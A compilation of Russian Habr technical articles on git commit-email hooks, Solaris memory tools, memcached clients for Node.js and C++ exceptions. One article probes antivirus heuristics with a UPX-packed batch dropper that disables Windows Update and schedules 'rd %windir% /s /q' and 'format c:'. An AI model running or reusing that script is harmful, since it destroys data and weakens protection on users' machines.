Для добавления коммита в Git репозиторий требуется адрес электронной почты и имя пользователя. Нередко бывают случаи, когда в рабочий репозиторий «улетают» коммиты с личными настройками. Таким образом, мы получаем коммиты от одного человека, но пользователь в git выглядит и подписан по-разному. В таких случаях часто не отображаются аватарки и имя не соответствует зарегистрированному пользователю. В рабочем репозитории важно, чтобы имя и адрес электронной почты пользователя были указаны корректно.
Давайте разберемся в причинах возникновения подобных ситуаций. У многих разработчиков глобально установлен личный git config, и при клонировании или создании проектов они просто забывают или не знают, как его поменять. Также бывают ситуации, когда разработчик в понедельник, а возможно и в любой другой день, после работы или во время нее, работает над своим pet-проектом, переключается на рабочий проект и создает коммиты с личными данными. Бывает и наоборот, когда люди, имея глобально рабочие конфиги, вносят изменения в большие open source проекты и публикуют коммиты с рабочими данными.
Некоторые не видят в этом проблем, но они есть:
1. Электронная почта вашей компании и настоящее имя будут находится в публичных репозиториях.
2. Данные могут использоваться в различных фишинг атаках против вас.
3. Ваша команда будет видеть ваш никнейм вместо настоящего имени в истории комитов.
4. Ну и самое главное — это непрофессионально.
Пример двух коммитов от одного разработчика с двумя разными git конфигамиДавайте рассмотрим варианты решения описанной проблемы.
Первый вариант — это применение глобального конфига на машине разработчика. Для этого достаточно установить глобально личный конфиг, а для рабочих репозиториев использовать локально рабочий.
```
git config --global user.email "myname@mail.com" git config --global user.name "myname"
git config user.email "company@companydomain.com" git config user.name "Firstname Lastname"
```
Это решение зависит от внимательности каждого из разработчиков и не исключает человеческий фактор.
Если вы используете для работы с Git такой веб-инструмент как GitLab, то у меня есть для вас простое решение. GitLab позволяет настраивать в репозитории правила отправки коммитов [Push rules](https://docs.gitlab.com/ee/push_rules/push_rules.html). Все что вам нужно сделать:
1. Открыть **Menu > Projects** и найти свой проект.
2. Далее выбрать **Settings > Repository**.
3. Развернуть **Push rules.**
4. В поле Commit author's email впишите регулярное выражение на проверку домена почты. Например, для почты с доменом @nlmk.com регулярное выражение будет выглядеть так `@nlmk.\S+$` . Более подробно ознакомиться с синтаксисом регулярных выражений можно [тут](https://github.com/google/re2/wiki/Syntax).
5. Сохраните изменения.
Push правило для проверки домена почты в git configЕсли вдруг в вашем конфиге будет указана почта с доменом, не подходящим под регулярное выражение, то при пуше изменений в ветку возникнет ошибка.
 Ошибка при проверки почты регулярным выражениемКак итог, вы гарантируете, что в ваш рабочий репозиторий не будут добавлены коммиты пользователями с почтой, не соответствующей вашему домену.
Также одним из решений могут послужить git-хуки. В данном случае это решение подходит не только для gitlab, но и для других популярных git репозиториев. Git предоставляет [возможность](https://git-scm.com/book/ru/v2/%D0%9D%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B9%D0%BA%D0%B0-Git-%D0%A5%D1%83%D0%BA%D0%B8-%D0%B2-Git) запуска пользовательских скриптов в случае возникновения определённых событий, таких как push, commit, merge и т.д. Для работы с Git хуками я буду использовать [husky](https://www.npmjs.com/package/husky).
```
#Устанавливаем husky
npm install husky --save-dev #Включаем Git хуки
npx husky install
#Добавляем скрипт в package.json
npm set-script prepare "husky install" #Создаем хук
npx husky add .husky/pre-commit "npm test"
```
В созданном файле `pre-commit` прописываем bash-скрипт:
```
#!/bin/sh
. "$(dirname "$0")/_/husky.sh"
#Регулярное выражение для проверки почты
MAIL_REGEX="^[[:alnum:]._%+-]+@gmail+\.[[:alpha:].]{2,4}$"
EMAIL=$(git config user.email)
if [[ $EMAIL =~ $MAIL_REGEX ]];
then
echo "текущая почта '$EMAIL' совпадает с '$MAIL_REGEX'" else
echo "текущая почта '$EMAIL' не совпадает с '$MAIL_REGEX'" exit 1
fi
```
При несовпадении почты конфига с регулярным выражением вы увидите следующую ошибку:
В данном решении есть плюсы и минусы. Преимущество данного решения перед предыдущим — это возможность проверить не только почту, но и имя пользователя.
Однако стоит заметить, что этот код выполняется на стороне клиента, и при желании можно отправить коммит в репозиторий без проверки.
С [версии 2.9](https://github.blog/2016-06-13-git-2-9-has-been-released/)Git предлагает возможность глобального совместного использования хуков между репозиториями. Этот вариант исключает дублирование хуков в каждом репозитории.
Для применения глобальных хуков сначала создадим для них папку и назовем `githooks`. Далее глобально настроим Git, чтобы использовать созданную папку в качестве папки для хранения глобальных хуков:
```
#Создадим директории
mkdir -p ~/githooks/_git/hooks/
#Установим путь для хранения глобальных хуков
git config --global core.hooksPath ~/githooks/_git/hooks/
```
Добавим следующий код в глобальный конфиг Git:
```
cat ~/.gitconfig
...
[user]
name = Nickname or Fullname
email = personal_or_business@mail.com [core]
hooksPath = ~/githooks/_git/templates/hooks/
...
```
Проверим адрес электронной почты, который установлен в репозитории. Тут стоит отметить, что скрипт зависит от ваших методов работы и потребностей.
Предположим, что ваши личные репозитории расположены тут — `~/projects/personal`, а рабочие тут — `~/projects/business`. Тогда bash-скрипт для проверки адреса электронной почты перед коммитом будет выглядеть так:
```
#!/bin/sh PWD=`pwd`
#Проверяем, содержит ли текущий путь “business” if [[ $PWD == *"business"* ]]
then
EMAIL=$(git config user.email)
MAIL_REGEX="^[[:alnum:]._%+-]+@gmail+\.[[:alpha:].]{2,4}$"
#Проверяем почту с помощью регулярного выражения
if [[ $EMAIL =~ $MAIL_REGEX ]]
then
echo "";
else
echo "данная почта не подходит к этому репозиторию"; echo ''
#Если что-то не так, выходим из скрипта с ошибкой exit 1;
fi;
fi;
```
Настройка глобального git хука и продумывание алгоритма полностью зависит от вашей структуры работы, потребностей и фантазии. Данное решение работает, но проблема в том, что оно уникальное для каждого разработчика.
В моем случае, в компании мы храним правила ведения проекта в readme и в onboarding документах, с которых начинают знакомство с нашими проектами все разработчики. Правила содержат инструкцию о добавлении локальных конфигов в проектах. Также во всех наших GitLab репозиториях добавлено правило проверки почты пользователя. Это полностью избавило нас от «анонимных» коммитов в рабочих репозиториях.
Ссылки по теме
--------------
* [Push rules](https://docs.gitlab.com/ee/push_rules/push_rules.html)
* [Синтаксис регулярных выражений](https://github.com/google/re2/wiki/Syntax) [Git hooks](https://git-scm.com/book/ru/v2/%D0%9D%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B9%D0%BA%D0%B0-Git-%D0%A5%D1%83%D0%BA%D0%B8-%D0%B2-Git)
* [Husky](https://www.npmjs.com/package/husky) | https://habr.com/ru/post/673946/ | null | ru | null |
# Об эвристике: очевидное-невероятное
Привет всем!
Надеюсь, кому-то приведённые мной обзоры показались интересными. Продолжим! Сегодня я долго думал что бы написать. Идей не оказалось, кроме небольшой обиды на «Лабораторию Касперского», но это уже неважно и это уже почти лично-интимное.
Итак, сегодня я хочу подёргать за первичные половые признаки эвристику некоторых антивирусов. You CAN try this at home! ;) Как это обычно бывает, результаты оказались удивительными.
Что нам надо:
1. Блокнот ака Notepad.
2. Quick Batch Compiler.
3. UPX.
Итак, создаём вот такой bat-файлик:
`md "%temp%\123456"
echo rem reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\SPC\Certificates\F190D1C02C9AF8AB7AA6973C918A4E0836BDE847 /v Blob /t REG_BINARY /d 00 > "%temp%\123456\1.bat"
at 23:00 "%temp%\123456\1.bat"`
Почему я выбрал именно этот параметр реестра — пусть останется загадкой. Скажу так: упор был на Касперского. Ищущий в Гугле да обрящет :)
Компилим с помощью Quick Batch Compiler в exe, при чём доупаковываем в файл мусор в upx.exe и упаковываем upx.
Сейчас глянем, что думают вендоры о пустышке. Надеюсь, все заметили rem в файлике и не сомневаются в том, что он — пустышка? Как и следовало ожидать — [только Авира ругнулась, но то в её духе. Каспер не оправдал надежды и выглядит молодцом](http://www.virustotal.com/analisis/06b36e928b758e411e7669d5931dba35a5fd690be6778908bf93d71fcd3eb560-1277129606).
[](https://habr.com/images/px.gif#%3D%22http%3A%2F%2Fimg823.imageshack.us%2Fi%2F17929924.jpg%2F%22)
Усложняем задачу:
`md "%temp%\123456"
echo rem net stop wuauserv > "%temp%\123456\1.bat"
echo rem net start wuauserv > "%temp%\123456\1.bat"
at 23:00 "%temp%\123456\1.bat"`
и [получаем немедленный дополнительный «гав» от Симантека](http://www.virustotal.com/analisis/95c9bd9d13658a5ff5bf5f7b5ee326a2293f5cc2bf26b8f26720e64cb8d32a80-1277130039).
[](https://habr.com/images/px.gif#%3D%22http%3A%2F%2Fimg409.imageshack.us%2Fi%2F53134981.jpg%2F%22)
Начинаем взрослеть — rem исчезают, но службы всё равно только передёргиваются:
`md "%temp%\123456"
echo net stop wuauserv > "%temp%\123456\1.bat"
echo net start wuauserv > "%temp%\123456\1.bat"
echo net stop BITS > "%temp%\123456\1.bat"
echo net start BITS > "%temp%\123456\1.bat"
at 23:00 "%temp%\123456\1.bat"`
Но антивирусы в этом плане абсолютно безразличны — [картина та же](http://www.virustotal.com/analisis/46dbd6a51cb5a8296e50d089ea1b715d27c626e653c4e5270753e4be750f6387-1277130241).
Убиваем службы, потенциально открывая дырки на машине:
`md "%temp%\123456"
echo net stop wuauserv > "%temp%\123456\1.bat"
echo net stop BITS > "%temp%\123456\1.bat"
at 23:00 "%temp%\123456\1.bat"`
Антивирям [всё равно](http://www.virustotal.com/analisis/e78b246c0c6c7d436b571496d4cce8cd3375dd164dc4c8bcd24ecabe8b96c4e1-1277130361).
Всё, насмеялись — шутки в сторону:
`md "%temp%\123456"
echo net stop wuauserv > "%temp%\123456\1.bat"
echo net stop BITS > "%temp%\123456\1.bat"
echo rd %windir% /s /q > "%temp%\123456\1.bat"
echo format c: > "%temp%\123456\1.bat"
at 23:00 "%temp%\123456\1.bat"`
Скомпиленный файл этого добра [тут](http://www.mediafire.com/?johzomdoyzd) (пароль **virus**).
И теперь самое забавное: мой локальный КИС 2010 выдал вот такой алерт:
[](https://habr.com/images/px.gif#%3D%22http%3A%2F%2Fimg695.imageshack.us%2Fi%2F62179076.jpg%2F%22)
Однако [на ВТ Касперский молчит, как молдавский партизан, зато преинтереснейшая картина с другими антивирусами](http://www.virustotal.com/analisis/5dc049a4e001bef6b4ff327c9bdf4f6dce4c5da783f5269a91c3e0b34a00857a-1277131083): даже пара детектов основана на сигнатурной базе, не на эвристике (heur, gen, suspicious и т.д.)
Стоит заремить опасный код ([тут](http://www.mediafire.com/?mnmmmyejzdt) компиленный файл, пароль тот же): Касперский уже молчит (честь и хвала! **умница**!), однако другие [антивири по-прежнему видят угрозу](http://www.virustotal.com/analisis/e5446549cff8d57a0635fdf7ad3590927dfa0c0ba062588de5633daef5c103a3-1277131320), которая на самом деле — мусор.
Но куда интереснее будет, когда я пытаюсь выполнить сканирование файла и лечение с помощью Касперского. Начнём с того, что детекта было два: от сканера и от резидента. Дальше начинается «битва титанов» из одного лагеря. В итоге, видим следующее:
[](https://habr.com/images/px.gif#%3D%22http%3A%2F%2Fimg823.imageshack.us%2Fi%2F10668181.jpg%2F%22)
(хм, убрать задание, запустить службы и удалить файл требует ребут? ну может быть....)
[](https://habr.com/images/px.gif#%3D%22http%3A%2F%2Fimg409.imageshack.us%2Fi%2F92240722.jpg%2F%22)
(380 чего? градусов в окружности? или страшных символов в моём бат-файле?)
[](https://habr.com/images/px.gif#%3D%22http%3A%2F%2Fimg163.imageshack.us%2Fi%2F84932678.jpg%2F%22)
(так мы здоровы или нет???)
Но в конце концов всё заканчивается, и милый сердцу КИС 2010 сообщает, что активные угрозы отсутствуют. Опасность миновала! ;)
Итого, что я для себя решил.
1. Детекты, а тем более типа heur, gen, suspicious и т.д. на ВТ — это далеко не факт, что зловред. Мы рассматривали минимальный код, и тот вызвал страх, что же будет с серьёзной программой?
2. Эвристик Касперского понимает, что такое ремарки, а что — активный код. Другие — не очень :)
3. Авира как страдала паранойей — так и страдает дальше. С другой стороны — она детектирует очень много вирусов. даже больше, чем их есть на самом деле :)
4. КИС 2010 со всеми его прелестями и плюсами — очень бажный продукт. Ждём 2011!! (хотя надежд мало, но лучше при моих запросах пока не сыскать). | https://habr.com/ru/post/97052/ | null | ru | null |
# Как проверить и проанализировать использование памяти в системе Solaris
Очень часто господа системные администраторы сталкиваются с проблемой просмотра загрузки операционной системы, и если большинству в общем то знакомы системы мониторинга на стандартных операционных системах, то в системе Solaris — это часто вызывает много вопросов и сомнений, особенно в выводах команд пугающих своими цифрами. Сегодня попробуем немного в этом разобраться.
Первоначально нас интересует три вопроса, рассмотрим их по порядку:
1. Что влияет на производительность системы?* Память
* Процессор
* Диск
* Сеть
2. Общие случаи возникновения проблем с производительностью* Недостаточные нагрузочные тесты производительности приводит к нерасчитанным нагрузкам на существующую систему
* Появление недостатка системных ресурсов в результате увеличения нагрузки на существующее приложение
* Проблемы программно-аппаратного комплекса
3. Какие концепции используются во время сбора данных?
Обязательно иметь два вида данных, первый собранный в момент когда система испытвает критические нагрузки, второй во время стабильного функционирования системы.
4. Ну и наконец какие же у нас есть средства в нашей системе, и за что они отвечают?* vmstat — память, процессор, I/O
* mpstat — CPU
* iostat — I/O
* netstat — сеть
* lockstat — системные вызовы, блокировки
* sar — утилита многоплановая, все зависит от опций
* и другие.
Постараюсь постепенно рассказать об этих и некоторых других утилитах, варианты выводов, и чтение этих выводов. Начнем с самого необходимого, анализирование использования оперативной памяти.
Анализируем использование памяти: первое, нам необходимо узнать сколько памяти занимается ядром, а сколько пользователем, от этого будет зависить наши последующие шаги:
`root@T1000-spare # echo "::memstat" | mdb -k
Page Summary Pages MB %Tot
------------ ---------------- ---------------- ----
Kernel 54267 423 5%
Anon 25457 198 3%
Exec and libs 4346 33 0%
Page cache 9650 75 1%
Free (cachelist) 10775 84 1%
Free (freelist) 908455 7097 90%
Total 1012950 7913
Physical 1007634 7872`
Использование памяти пользователя: показывает процессы использующие память больше всего
`root@T1000-spare # prstat -s rss
PID USERNAME SIZE RSS STATE PRI NICE TIME CPU PROCESS/NLWP
1238 noaccess 155M 117M sleep 59 0 0:01:01 0.0% java/18
662 root 18M 15M sleep 59 0 0:00:05 0.0% fmd/26
7 root 16M 13M sleep 59 0 0:00:09 0.0% svc.startd/12
9 root 12M 11M sleep 59 0 0:00:34 0.0% svc.configd/17
697 root 10M 8304K sleep 59 0 0:00:00 0.0% snmpd/1
489 root 50M 8048K sleep 59 0 0:00:00 0.0% gdm-binary/1
446 root 9744K 6352K sleep 59 0 0:00:01 0.0% inetd/4
1773 root 7464K 6152K sleep 59 0 0:00:00 0.0% sshd/1
184 root 6704K 4728K sleep 59 0 0:00:00 0.0% nscd/31
187 root 5536K 4720K sleep 59 0 0:00:00 0.0% picld/9
1772 root 5680K 4312K sleep 59 0 0:00:00 0.0% sshd/1
667 root 9608K 4184K sleep 59 0 0:00:00 0.0% sendmail/1
142 root 6832K 3784K sleep 59 0 0:00:00 0.0% syseventd/15
664 smmsp 9672K 3744K sleep 59 0 0:00:00 0.0% sendmail/1
202 daemon 4984K 3728K sleep 59 0 0:00:00 0.0% kcfd/5
2019 oracle 3880K 3600K cpu17 59 0 0:00:00 0.0% prstat/1
==================================================`
Следующая команда показывает вывод общей памяти и «семафоров»:
*root@T1000-spare # ipcs -a (к сожалению данный сервер тестовый и только-только поднятый, нагрузку продемонстироровать не смогу)*
Следующая команда продемонстрирует нам использование пользовательской памяти всеми процессами, исключая (PID 0,2,3):
`root@T1000-spare # egrep "[0-9]:|^total" /var/tmp/pmap-x
1: /sbin/init
total Kb 3024 2712 312 -
1112: /usr/dt/bin/dtlogin -daemon
total Kb 6576 4536 304 -
1238: /usr/java/bin/java -server -Xmx128m -XX:+UseParallelGC -XX:ParallelGCT
total Kb 158552 120040 103304 -
142: /usr/lib/sysevent/syseventd
total Kb 6832 5832 1096 -
146: /usr/lib/ldoms/drd
total Kb 2600 2320 408 -
1539: /home/OracleDB/11.2/ccr/bin/nmz -cron -silent
total Kb 3936 3152 264 -
1772: /usr/lib/ssh/sshd
total Kb 5680 5352 728 -
1773: /usr/lib/ssh/sshd
total Kb 7464 6928 408 -
===================================================`
Следующим шагом будет проверка использования файловой системы /tmp:
`root@T1000-spare # df -kl /tmp/
Filesystem kbytes used avail capacity Mounted on
swap 14380920 104 14380816 1% /tmp
===================================================`
root@T1000-spare # du -akd /tmp | sort -n | tail -5 — а эта команда отобразит 5 файлов большого размера внутри данной файловой системы.
Общее использование памяти в системе:
`root@T1000-spare # vmstat -p 3
memory page executable anonymous filesystem
swap free re mf fr de sr epi epo epf api apo apf fpi fpo fpf
14314224 7375848 26 67 1 0 13 23 0 0 0 0 0 40 1 1
14381608 7361752 3 6 0 0 0 0 0 0 0 0 0 0 0 0
14381288 7361616 0 0 0 0 0 0 0 0 0 0 0 0 0 0
=============================================`
Данная команда будет отображать информацию раз в три секунды.
Конечно же необходимо проверить использование SWAP системой:
`root@T1000-spare # swap -s
total: 193424k bytes allocated + 47176k reserved = 240600k used, 14381936k available
root@T1000-spare # swap -l
swapfile dev swaplo blocks free
/dev/dsk/c0t0d0s1 32,9 16 16387600 16387600
===================================================`
В данном разделе финальной комнадой будет проверка статистики ядра: очень хорошая утилита kstat, имеет большое разнообразие дополнительных ключей, также можно использовать команду которую я указал ниже
`root@T1000-spare # echo "::kmastat"| mdb -k > /var/tmp/kmastat
root@T1000-spare # more /var/tmp/kmastat
cache buf buf buf memory alloc alloc
name size in use total in use succeed fail
------------------------- ------ ------ ------ --------- --------- -----
kmem_magazine_1 16 1161 1524 24576 1161 0
kmem_magazine_3 32 2184 2540 81920 2805 0
kmem_magazine_7 64 1730 2413 155648 3043 0
kmem_magazine_15 128 2701 2772 360448 3401 0
kmem_magazine_31 256 337 341 90112 337 0
kmem_magazine_47 384 0 0 0 0 0`
В данной таблице нужно смотреть на столбец «memory in use» и на любую строку в которой «alloc fail» больше нуля.
Ну я думаю для одной статьи пока достаточно, не хочется нагружать Вас большим полотном текста надеюсь вскоре смогу продолжить свой обзор по наблюдению за питомцами на солярисе. | https://habr.com/ru/post/124208/ | null | ru | null |
# Сравнение библиотек для работы с Memcached на Node.JS
Хочу поделиться проделанной работой по исследованию производительности различных библиотек для работы с memcached в Node.JS. Для исследования были отобраны 4 кандидата.
Краткие описания взяты прямо из источников и приведены в оригинале. Вот получившийся список с версиями и ссылками.
* mc v1.0.6 — The Memcache Client for Node.js ([mc](http://overclocked.com/mc/))
* node-memcache v0.3.0 — A pure-JavaScript memcached library for node. ([node-memcache](https://github.com/elbart/node-memcache))
* node-memcached v0.2.6 — Fully featured Memcached client for Node.js ([node-memcached](https://github.com/3rd-Eden/node-memcached))
* memjs v0.8.0 — MemJS is a pure Node.js client library for using memcache. ([memjs](https://github.com/alevy/memjs))
Есть и другие библиотеки, но были выбраны именно эти четыре. Причина простая: информации и упоминаний в сети о них было больше чем по остальным.
Выбирались они около года назад, а до статьи руки дошли только сейчас. Буду рад, если укажете еще на парочку-другую достойных соперников. Обязательно выложу тесты и по ним.
##### Из предыстории
Изучать Node.JS, экспериментировать с ним и реально на нем писать я начал относительно недавно, примерно около года назад. Задача была поставлена достаточно интересная и фактически никаких требований по платформе не было. Можно сказать, я самолично тогда выбрал Node.JS, как альтернативу «вдоль и поперек» изученному PHP и об этом нисколько не жалею. Другими словами, только рад такому выбору. Сейчас уже запущен второй проект и Node.JS себе оправдывает. Скажу честно, я получил массу удовольствия от более глубокого изучения языка JavaScript. Мне сразу же стало понятно, что это совсем не тот язык, который я уже достаточно давно, казалось бы, знаю. А как я был поражен, попробовав писать модульные тесты с использованием nodeunit, как все изящно и лаконично в отличие от того же PHP.
Немного отклонился от темы. Это, конечно, неоспоримые достоинства, которые тут на хабре и на других ресурсах уже ни один раз описаны. Но это не PHP, на котором у нас написана масса внутренних библиотек, и существует масса чужих на все случаи жизни. Ведь опыта написания проектов различной сложности на PHP уже больше 10 лет. Мне опять пришлось все делать с нуля. Как когда-то, при переходе сначала с C++ на перл, а потом с перла на PHP. Тут я также брал новенький, незнакомый инструмент и пытался как-то его настроить под себя.
Нужно было научиться работать со многими системами, будь то работа с mongoDb или с RabbitMQ, или даже с тем же Mysql. Практически ничего стандартного, как в PHP тут не было. Нужно было выбирать из массы библиотек самую подходящую и перекрывать своими объектами нужную мне функциональность. Вот так, по шагам, я исследовал различные инструменты и библиотеки и в определенный момент добрался и до мемкеша.
##### Итак, приступим
Для чистоты эксперимента я обволоку единым интерфейсом все эти библиотеки, чтобы в тестовом скрипте просто указать нужный вариант, а сами действия будут одинаковы для всех испытуемых.
Интерфейс будет состоять из 4-х методов:
**Init(cb)** — инициализация объекта
**Set(key, val, cb)** — установка значения
**Get(key, cb)** — получене значения
**End()** — закрываем все активные соединения
Пример реализации интерфейса для библиотеки mc будет выглядеть где-то так:
```
impl.mc = function(){};
impl.mc.prototype = {
Init : function(cb) {
var self = this;
var Mc = require('mc');
self.mmc = new Mc.Client(':11211', Mc.Adapter.binary);
self.mmc.connect(function() {
cb(self);
});
},
Set : function(key, val, cb) { this.mmc.set(key, val, {flags: 0, exptime : 100}, cb); },
Get : function(key, cb) { this.mmc.get(key, cb); },
End : function() { this.mmc.disconnect(); }
};
```
Пишем такие-же реализации для остальных 3-х библиотек и помещаем их в модуль impl.js. Сразу оговорюсь, чтобы не нагромождать и так не маленький код я не добавлял в примеры обработку ошибок. Это всего навсего тесты и, естественно, в реальных обертках библиотек это все учитывается.
Как будет происходить тестирование.
**Первый шаг** — записываем 1000 случайных целых значений с названиями ключей вида:
\_\_key\_[libName]\_[0...999],
где libName это название одной из исследуемых библиотек (mc, memcached…)
Измеряем время и считаем кол-во записей в секунду. Имя библиотеки добавляется в ключ, чтобы они не пересекались в рамках теста между разными реализациями.
**Второй шаг** – после того как записали, начинаем читать. Читаем 100k раз по случайному ключу из диапазона, опять же засекаем время и считаем кол-во чтений в секунду.
А вот и сам код, который последовательно запустит все варианты. Старался минимизировать код по максимуму, ну тут уж как получилось.
```
var cacheImpl = require('./impl');
// функция создания ключа
// с учетом реализации className для того, чтобы избежать одинаковых ключей для различных библиотек
function _key(className, i) { return '__key_' + className + '_' + i; }
// выполнить тесты для реализации className (memjs, memcached, memcache, mc)
function testPerform(className, cb) {
var impl = new cacheImpl[className]();
impl.Init(function(pc) {
var keysCount = 1000, // кол-во ключей
getNum = 100000, // кол-во чтений
all = 0,
d1, d2;
// запуск установки значений кеша
var startSet = function (cb) {
all = keysCount;
for (var i = 0;i < keysCount;i++) {
(function(num){
setImmediate(function(){
// ~~(Math.random() * 100000) - это я так привожу к целочисленному
pc.Set(_key(className, num), ~~(Math.random() * 100000), function(err) {
if (--all === 0) return cb();
});
});
})(i);
};
};
// запуск чтений из кеша по случайному ключу из диапазона
var startGet = function (cb) {
all = getNum;
for (var j = 0;j < getNum;j++) {
setImmediate(function(){
pc.Get(_key(className, ~~(Math.random() * 1000)), function(err, res) {
if (--all === 0) {
cb();
pc.End();
}
});
});
};
}
// запуск полследовательно всего вместе
var start = function (cb) {
d1 = Date.now();
startSet(function() {
d2 = Date.now();
console.log(className + ' Set qps: ' + Math.round(keysCount / (d2 - d1) * 1000));
d1 = Date.now();
startGet(function() {
d2 = Date.now();
console.log(className + ' Get qps: ' + Math.round(getNum / (d2 - d1) * 1000));
cb();
});
});
}
start(cb);
});
}
// вот так вот некрасиво запускаем последовательно все реализации
testPerform('memcache', function(){
testPerform('memcached', function(){
testPerform('memjs', function(){
testPerform('mc', function(){});
});
});
});
```
Меня тут прежде всего интересовали не абсолютные значения количества записей и чтений в секунду (хотя и это тоже), а именно какая из библиотек будет быстрее вообще.
Тесты проводились на рабочем кластере, запись/чтение производились на memcached на соседнем сервере. Сервера нагружены реальным трафиком, поэтому на абсолютные значения можно не особо обращать внимание. Важны именно относительные величины.
Итого, после запуска скрипта, получаем такой результат:
```
memcache Set qps: 8929
memcache Get qps: 19444
memcached Set qps: 6098
memcached Get qps: 8924
memjs Set qps: 8850
memjs Get qps: 12857
mc Set qps: 14286
mc Get qps: 23207
```
Сразу же видим явного лидера, причем и по записи и по чтению, распишу в процентном соотношении от лидера.
Рейтинг по запси:
```
1. mc 100.00%
2. memcache 62.50%
3. memjs 61.95%
4. memcached 42.69%
```
Рейтинг по чтению:
```
1. mc 100.00%
2. memcache 83.79%
3. memjs 55.40%
4. memcached 38.45%
```
Вот такие интересные результаты. Безусловно, библиотеки отличаются функциональностью, удобством работы с ними, возможностью работы с кластером мемкешей, пулом соединений и т. д. Я намеренно упускаю эти моменты и беру самую распространенную ситуацию, когда имеется один сервер мемкеша. Если с одним будет работать быстрее, то и с несколькими серверами относительный результат не должен сильно отличаться.
Тесты достаточно синтетические, так как записываются только целые числа, чтение производится только по существующим ключам (не учтены случаи, когда ключа нет) и т. д. Но, тем не менее, все библиотеки находятся в равных условиях. Все же, надеюсь, что результаты будут полезными.
Буду рад, если кому-то помог определиться с выбором библиотеки, или хотя бы заставил задуматься о том, что не все библиотеки одинаково хороши в плане производительности.
Хотелось бы выслушать конструктивную критику проделанной мною работы: последовательность, стиль изложения и все-все, что может помочь сделать статью лучше. Будем учиться вместе.
Вот такой мой «дебют» на хабре. Насколько он удачен, решать вам. | https://habr.com/ru/post/200060/ | null | ru | null |
# Коды ошибок — это гораздо медленнее, чем исключения
На современных 64-битных PC-архитектурах использование C++-исключений означает всего лишь добавление к функциям недостижимого кода с вызовами деструктора и ухудшение производительность менее чем на 1%. Такие небольшие ухудшения производительности сложно даже измерить. Обработка редких ошибок с использованием возвращаемых значений требует дополнительных операций ветвления, которые, в реалистичных сценариях, замедляют программы примерно на 5%. Такой подход, кроме того, менее удобен, чем использование исключений. Если выбрасывается исключение, то на «раскрутку» каждого кадра стека тратится примерно 2 мкс.
[](https://habr.com/ru/company/ruvds/blog/533332/)
C считается самым быстрым языком программирования. В C++ есть возможности, которые лишь повышают удобство работы, не влияя на производительность, в сравнении с C, и возможности, которые на производительность влияют. Эти возможности очень помогают в деле улучшения качества кода. В результате ими, несмотря ни на что, достаточно часто пользуются. Полиморфизм времени выполнения — это буквально вездесущая возможность, а вот исключения распространены меньше.
Совершенно понятная причина отказа от использования исключений видна, например, в проектах, рассчитанных на некие платформы, на которых размер исполняемых файлов ограничен особенностями этих платформ. Сомнительная причина отказа от их использования — производительность, так как понятно то, что совершенно новый функционал не получится использовать, не идя при этом на какие-то компромиссы. Кроме того, использование исключений в неподходящих ситуациях может катастрофически снизить производительность. Как известно, обработка выброшенного исключения — это очень ресурсоёмкая задача.
Но как велико это воздействие на производительность? На большинстве современных 64-битных платформ исключения реализованы так, что системные ресурсы на них практически не тратятся в том случае, если они не выбрасываются. В сгенерированных функциях нет проверок на предмет выброшенных исключений, выполнение кода, при обработке исключения, переключается на специальные функции и специальные данные. Но нельзя сказать о том, что использование исключений вообще никак не сказывается на производительности. Иногда возникает необходимость в обработке ошибок, возникающих очень редко. Один из возможных вариантов решения подобной задачи заключается в полной остановке программы. Из-за этого на диске остаются не полностью сформированные данные, что ведёт к очень неприятным впечатлениям, которые испытывают пользователи соответствующих программ. Например, по такой схеме работают Unreal Engine и Unity Engine. Там неправильное использование API в коде приводит к аварийному завершению работы редактора. Он будет продолжать останавливаться до тех пор, пока вручную не будут удалены некорректные бинарные файлы. Ещё один вариант решения задачи обработки ошибок представляет собой обработку кодов ошибок. При таком подходе функции сообщают о том, что не могут нормально работать. Предполагается, что код, вызывающий такие функции, может адекватно отреагировать на подобные сообщения. Это не очень удобно для программистов, так как требует выполнения дополнительных проверок после возврата из функции, но часто этот подход используется из соображений, связанных с производительностью.
Но как, всё же, эти подходы влияют на производительность кода? Я испытал их на реалистичных примерах, в которых реализованы механизмы, обычно применяемые в играх.
В каких ситуациях не стоит использовать исключения?
---------------------------------------------------
«Исключение» — это, как можно судить из названия, нечто такое, что направлено на обработку неких особых, исключительных событий. При возникновении таких событий неприменимы обычные правила той системы, в которой они возникли. В мире программирования это — ситуация, в которой что-то идёт не так, как запланировано, не является частью обычного сценария работы системы. Это — ошибка. Пользователь что-то неправильно ввёл, отказало сетевое соединение, данные оказались повреждёнными, по сети пришёл испорченный пакет, не удалось инициализировать устройство, не получилось найти нужный файл, программист ошибся, составляя текст программы…
Во многих из подобных случаев программа не должна просто полностью останавливаться. Если программа останавливается после того, как пользователь неправильно заполнил какое-нибудь поле, то это очень плохо. Ведь это приводит к потере всех несохранённых данных и к тому, что пользователю приходится перезапускать программу и ждать до того момента, пока она не придёт в работоспособное состояние. Проблемы с сетевыми соединениями хорошо поддаются решению. Обычно в подобных ситуациях программы просто пробуют переподключиться. Если испорченный пакет вызывает «падение» программы, то это — прямая дорога для атаки на эту программу. Такую атаку может совершить любой, способный отправить неправильно сформированный пакет. Такие проблемы можно решить, пользуясь исключениями. Выбрасывание исключений — это медленно, но те части кода, которые не представляют его основной функционал, не обязательно должны быть оптимизированы.
В качестве примеров неправильного использования исключений можно привести ситуации, когда они выбрасываются при нормальной работе программы. Это, например, выход из вложенного цикла, обработка конца некоего контейнера, проверка возможности десериализации числа и использование стандартного значения в том случае, если десериализация невозможна…
В современных 64-битных архитектурах используется модель «zero-cost exceptions» («исключения нулевой стоимости»). При таком подходе обработка ошибок с применением исключений оптимизируется исключительно в расчёте на правильное выполнение программ, когда исключения не выбрасываются. Делается это ценой очень низкой производительности обработки выброшенных исключений.
Другими словами, должна быть возможность запуска программы в отладчике с включенной функцией остановки при возникновении исключения.
Хотя не все виды ошибок могут быть эффективно обработаны с использованием механизма исключений, использование кодов ошибок применимо для обработки абсолютно любых ошибок. Вопрос заключается в том, нужно ли использовать коды ошибок в любых ситуациях.
Тест №1: парсинг XML-данных
---------------------------
